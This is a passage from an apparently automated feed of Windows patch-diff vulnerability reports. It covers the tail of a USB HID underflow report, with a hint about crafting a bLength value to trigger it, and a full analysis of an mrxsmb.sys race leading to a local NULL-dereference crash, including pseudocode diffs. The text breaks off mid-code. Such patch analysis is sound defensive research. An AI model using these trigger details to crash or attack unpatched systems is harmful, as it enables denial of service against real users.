&lt;li&gt;&lt;strong&gt;HumGetDescriptorRequest&lt;/strong&gt; (Hardening): Migrated &lt;code&gt;ExAllocatePoolWithTag&lt;/code&gt; to &lt;code&gt;ExAllocatePool2&lt;/code&gt;. Restructured pool failure handling.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HumGetConfigDescriptor&lt;/strong&gt; (Behavioral): Reordered validation logic (&lt;code&gt;arg_20 &amp;lt; 9&lt;/code&gt; check moved earlier). Added an explicit free on failure paths.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HumWriteReport&lt;/strong&gt; (Behavioral): Changed completion routine to &lt;code&gt;HumGetSetReportCompletion&lt;/code&gt;. Changed pending request count check. Migrated to &lt;code&gt;ExAllocatePool2&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HumGetDeviceDescriptor&lt;/strong&gt; &amp;amp; &lt;strong&gt;HumReadCompletion&lt;/strong&gt; (Cosmetic): Control flow reordering and WPP tracing updates.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HumGetMsGenreDescriptor&lt;/strong&gt; (Hardening): Migrated to &lt;code&gt;ExAllocatePool2&lt;/code&gt; and reordered URB initialization.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HumGetHidInfo&lt;/strong&gt; (Behavioral): New wrapper function encapsulating descriptor parsing logic extracted from &lt;code&gt;HumInitDevice&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3&gt;9. Unmatched Functions&lt;/h3&gt;
&lt;p&gt;There are 0 strictly unmatched functions in the diff. However, the new wrapper function &lt;strong&gt;&lt;code&gt;HumGetHidInfo&lt;/code&gt;&lt;/strong&gt; was successfully diff-matched against the logic previously inlined in &lt;code&gt;HumInitDevice&lt;/code&gt;. This function does not introduce a vulnerability, but serves as an abstraction boundary for the parsing flow.&lt;/p&gt;
&lt;hr&gt;
&lt;h3&gt;10. Confidence &amp;amp; Caveats&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Confidence:&lt;/strong&gt; High. The mathematical logic flaw (unsigned integer underflow) is clearly visible in the assembly and pseudocode, and the patch resolves it with a direct &lt;code&gt;cmp/jbe&lt;/code&gt; bounds check.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Assumptions:&lt;/strong&gt; It is assumed that the buffer size parameter (&lt;code&gt;arg3&lt;/code&gt;) passed to &lt;code&gt;HumParseHidInterface&lt;/code&gt; is directly tied to the overall &lt;code&gt;wTotalLength&lt;/code&gt; parsed during standard USB enumeration. &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Verification Required:&lt;/strong&gt; A researcher must confirm the exact buffer size parameter value dynamically using a debugger when their specific USB emulator hardware is enumerated, to ensure the crafted &lt;code&gt;bLength&lt;/code&gt; is large enough to trigger the underflow but also conforms to standard USB size expectations.&lt;/li&gt;
&lt;/ul&gt;</content><category term="Corpus"/></entry><entry><title>mrxsmb.sys — Race on a not-fully-initialized session entry during concurrent tree-connect (CWE-476) local denial of service, fixed</title><link href="https://byteray-ai.github.io/drift-corpus/item/mrxsmb_e8383c54-mrxsmb-report-20260703-155721.html" rel="alternate"/><published>2026-07-03T00:00:00-07:00</published><updated>2026-07-03T00:00:00-07:00</updated><author><name>Argus</name></author><id>tag:byteray-ai.github.io,2026-07-03:/drift-corpus/item/mrxsmb_e8383c54-mrxsmb-report-20260703-155721.html</id><summary type="html">&lt;p&gt;KB5083768&lt;/p&gt;</summary><content type="html">&lt;h2&gt;1. Overview&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Unpatched Binary:&lt;/strong&gt; &lt;code&gt;mrxsmb_unpatched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Patched Binary:&lt;/strong&gt; &lt;code&gt;mrxsmb_patched.sys&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overall Similarity Score:&lt;/strong&gt; 0.9536&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Diff Statistics:&lt;/strong&gt; Matched: 1246 | Changed: 44 | Identical: 1202 | Unmatched: 0 (Unpatched) / 2 (Patched)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Verdict:&lt;/strong&gt; The patch adds &lt;code&gt;ExBlockOnAddressPushLock&lt;/code&gt; synchronization to the SMB redirector's session-entry lookup so that a thread which matches a session entry whose initialization has not completed waits for the constructing thread instead of proceeding. The worst demonstrable outcome of the unsynchronized code is a NULL/invalid-pointer dereference in the credential check — a local bugcheck (denial of service). The change is delivered behind the WIL feature gate &lt;code&gt;Feature_Servicing_AlternativePort_Dcr&lt;/code&gt;, with the pre-patch code path retained verbatim as &lt;code&gt;SmbCeFindSessionEntry_Old&lt;/code&gt; — a staged rollout. A second change in the same feature, added transport-port consistency validation, is not a security fix (see Finding 2).&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;2. Vulnerability Summary&lt;/h2&gt;
&lt;h3&gt;Finding 1: Use of a not-fully-initialized session entry in the VNetRoot lookup&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; Low&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Race condition on a partially-initialized object; demonstrable impact is a NULL pointer dereference (CWE-476, arising from CWE-362)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;SmbCeFindSessionEntry&lt;/code&gt; (unpatched &lt;code&gt;@ 0x140008700&lt;/code&gt;) / new &lt;code&gt;SmbCeFindSessionEntry&lt;/code&gt; (patched &lt;code&gt;@ 0x1400334F0&lt;/code&gt;); the pre-patch behavior is retained as &lt;code&gt;SmbCeFindSessionEntry_Old&lt;/code&gt; (&lt;code&gt;@ 0x1400476D4&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Root Cause &amp;amp; Reachable Impact:&lt;/strong&gt;
The unpatched &lt;code&gt;SmbCeFindSessionEntry&lt;/code&gt; walks the server entry's session list (head at &lt;code&gt;server_entry+0x210&lt;/code&gt;) under the exclusive spinlock at &lt;code&gt;server_entry+0x780&lt;/code&gt;. Once it matches an entry by state (&lt;code&gt;+0xc &amp;lt;= 5&lt;/code&gt;), a non-zero session refcount (&lt;code&gt;+0x1a8&lt;/code&gt;), and SessionID/LogonID (&lt;code&gt;+0x60/+0x64&lt;/code&gt; or &lt;code&gt;+0x68/+0x6c&lt;/code&gt;), it increments the reference counts, releases the spinlock, and calls &lt;code&gt;CheckCredentials&lt;/code&gt; with the entry's security-context pointer at &lt;code&gt;+0x80&lt;/code&gt; and, on the session-setup path, &lt;code&gt;SeAccessCheck&lt;/code&gt;. The unpatched code has no "initialization complete" gate.&lt;/p&gt;
&lt;p&gt;The patched build adds two per-entry flags (&lt;code&gt;+0x230&lt;/code&gt; session-initialized, &lt;code&gt;+0x231&lt;/code&gt; transport-initialized) and a pushlock (&lt;code&gt;+0x238&lt;/code&gt;), and inserts &lt;code&gt;ExBlockOnAddressPushLock&lt;/code&gt; wait loops: a thread that matches an entry whose flag is not yet set releases the spinlock, blocks until the constructing thread signals completion, then re-acquires the spinlock and re-checks. The signaling side is &lt;code&gt;SmbCeDecrementActiveVNetRootContextsOnSession&lt;/code&gt; (patched &lt;code&gt;@ 0x14001BA30&lt;/code&gt;), which sets &lt;code&gt;+0x231&lt;/code&gt; and calls &lt;code&gt;ExUnblockOnAddressPushLockEx(entry+0x238, 0)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The reachable impact is a local kernel bugcheck. The construction routine &lt;code&gt;SmbCeFindOrConstructSessionEntry&lt;/code&gt; (&lt;code&gt;@ 0x1400081E0&lt;/code&gt;) populates &lt;code&gt;+0x80&lt;/code&gt;, the match keys, and &lt;code&gt;+0x1a8&lt;/code&gt; &lt;em&gt;before&lt;/em&gt; it links the new entry into the searchable &lt;code&gt;+0x210&lt;/code&gt; list, and it does that link under the same &lt;code&gt;server_entry+0x780&lt;/code&gt; spinlock the finder holds, so a concurrent finder cannot observe an entry with an unset &lt;code&gt;+0x80&lt;/code&gt;. The initialization the patch waits on is a later stage (session/transport setup with network I/O, after the entry is already listed). On the unsynchronized path the only unguarded dereference of the security-context pointer is inside &lt;code&gt;CheckCredentials&lt;/code&gt; at &lt;code&gt;0x140008A56&lt;/code&gt; (&lt;code&gt;cmp [rax+0x38], rdx&lt;/code&gt;, &lt;code&gt;rax&lt;/code&gt; = the &lt;code&gt;+0x80&lt;/code&gt; pointer): if that pointer is NULL, this faults and bugchecks. The &lt;code&gt;SeAccessCheck&lt;/code&gt; path is not a sink — it explicitly null-checks &lt;code&gt;+0x80&lt;/code&gt; (at &lt;code&gt;0x1400088CF&lt;/code&gt;) and the descriptor at &lt;code&gt;+0x38&lt;/code&gt; (at &lt;code&gt;0x1400088D8&lt;/code&gt;) before calling &lt;code&gt;SeAccessCheck&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;This is therefore a local denial of service at worst. There is no attacker-controlled memory content (the entry is zero-initialized pool), so it is not an authentication bypass, not an information leak, not a memory-corruption primitive, and not remotely reachable.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Call Chain:&lt;/strong&gt;
1. &lt;code&gt;MRxSmbCreateVNetRoot&lt;/code&gt; (RDBSS minirdr tree-connect callback)
2. &lt;code&gt;SmbCeFindOrConstructVNetRootContext&lt;/code&gt; (&lt;code&gt;@ 0x1400079F0&lt;/code&gt;)
3. &lt;code&gt;SmbCeFindOrConstructSessionEntry&lt;/code&gt; (&lt;code&gt;@ 0x1400081E0&lt;/code&gt;)
4. &lt;code&gt;SmbCeFindSessionEntry&lt;/code&gt; (&lt;code&gt;@ 0x140008700&lt;/code&gt;) — the lookup that lacks the initialization wait
5. &lt;code&gt;CheckCredentials&lt;/code&gt; (&lt;code&gt;@ 0x1400089FC&lt;/code&gt;) — the NULL-deref sink at &lt;code&gt;0x140008A56&lt;/code&gt;&lt;/p&gt;
&lt;h3&gt;Finding 2: Added transport-port consistency validation (not a security fix)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Severity:&lt;/strong&gt; None (No security-relevant change)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vulnerability Class:&lt;/strong&gt; Feature behavior — port-consistency validation for the alternative-port feature&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected Function:&lt;/strong&gt; &lt;code&gt;MRxSmbValidateAndGetTransportParameters&lt;/code&gt; (&lt;code&gt;@ 0x140030D30&lt;/code&gt;); new &lt;code&gt;MRxSmbValidateIncomingPortsAgainstEffective&lt;/code&gt; (&lt;code&gt;@ 0x14003E430&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Analysis:&lt;/strong&gt;
The unpatched &lt;code&gt;MRxSmbValidateAndGetTransportParameters&lt;/code&gt; looks up a 16-byte &lt;code&gt;TransportInfo&lt;/code&gt; value in the file's Extended Attributes via &lt;code&gt;RxFindEa&lt;/code&gt; and writes it to the caller-supplied target (the connection context at &lt;code&gt;+0x344&lt;/code&gt;), gated by size &lt;code&gt;== 0x10&lt;/code&gt;, a first-dword consistency check against the existing &lt;code&gt;+0x344&lt;/code&gt; value, and a &lt;code&gt;+0x348&lt;/code&gt; byte that gates a further second-field check. The patched build retains this parser verbatim as &lt;code&gt;MRxSmbValidateAndGetTransportParameters_Old&lt;/code&gt; (&lt;code&gt;@ 0x14003E2D0&lt;/code&gt;) and, on the feature path, adds &lt;code&gt;MRxSmbValidateIncomingPortsAgainstEffective&lt;/code&gt; (&lt;code&gt;@ 0x14003E430&lt;/code&gt;), which re-reads the same EA and compares its embedded 16-bit port fields against the connection's own effective ports at &lt;code&gt;+0x354&lt;/code&gt;/&lt;code&gt;+0x356&lt;/code&gt;/&lt;code&gt;+0x358&lt;/code&gt;, returning &lt;code&gt;0xC05D000D&lt;/code&gt; on mismatch. Both the parser choice and the extra check are selected by &lt;code&gt;Feature_Servicing_AlternativePort_Dcr&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;TransportInfo&lt;/code&gt; EA and the &lt;code&gt;+0x344&lt;/code&gt; transport configuration belong to the caller's own outbound SMB connection. Choosing a transport port for one's own connection crosses no privilege or security boundary, and the write target is the connection's own context, not another principal's. The added validation is a consistency check that the requested port matches the effective/allowed port for the alternative-port feature — feature behavior, not a fix for an attacker-reachable primitive. The earlier framing of the &lt;code&gt;+0x348&lt;/code&gt; branch as a "validation bypass allowing arbitrary port redirection / firewall bypass" is not supported: &lt;code&gt;+0x348&lt;/code&gt; merely gates an additional field comparison in the normal parse, and the parsed value is not a cross-boundary input. No security impact is demonstrable.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3. Pseudocode Diff&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;SmbCeFindSessionEntry&lt;/code&gt; (session-entry lookup)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === UNPATCHED SmbCeFindSessionEntry @ 0x140008700 ===&lt;/span&gt;
&lt;span class="c1"&gt;// Under the server-entry spinlock, on a matched entry:&lt;/span&gt;
&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;vnr_active_refcount&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// +0x1ac&lt;/span&gt;
&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;session_refcount&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// +0x1a8&lt;/span&gt;
&lt;span class="n"&gt;_InterlockedAdd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;refcount&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// +0x8&lt;/span&gt;
&lt;span class="n"&gt;ExReleaseSpinLockExclusive&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;server_entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x780&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OldIrql&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="c1"&gt;// No wait for initialization completion:&lt;/span&gt;
&lt;span class="n"&gt;CheckCredentials&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;security_context&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* +0x80 */&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// SeAccessCheck path below null-checks +0x80 and [+0x80]+0x38 before the call&lt;/span&gt;

&lt;span class="c1"&gt;// === PATCHED SmbCeFindSessionEntry @ 0x1400334F0 ===&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;session_init&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* +0x230 */&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="c1"&gt;// NEW&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;_InterlockedAdd&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;refcount&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ExReleaseSpinLockExclusive&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;server_entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x780&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;OldIrql&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prev&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SmbCeDereferenceSessionEntryEx&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;prev&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                                            &lt;/span&gt;&lt;span class="c1"&gt;// NEW: block until initialized&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;ExBlockOnAddressPushLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x238&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x230&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;session_init&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;ExAcquireSpinLockExclusive&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;server_entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x780&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;session_init&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;state&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;transport_init&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="cm"&gt;/* +0x231 */&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;// NEW: same wait on +0x231&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExBlockOnAddressPushLock&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x238&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x231&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;v&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...);&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;transport_init&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ... proceed to refcount + CheckCredentials on a fully-initialized entry ...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;MRxSmbValidateAndGetTransportParameters&lt;/code&gt; (transport EA parsing) — Finding 2&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// === UNPATCHED (retained verbatim in patch as ..._Old @ 0x14003E2D0) ===&lt;/span&gt;
&lt;span class="n"&gt;ea&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;RxFindEa&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;quot;TransportInfo&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xd&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;ea&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;// no EA -&amp;gt; nothing written&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ea&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;value_size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x10&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC000000D&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="n"&gt;xmm1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;load_16_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ea&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;value&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
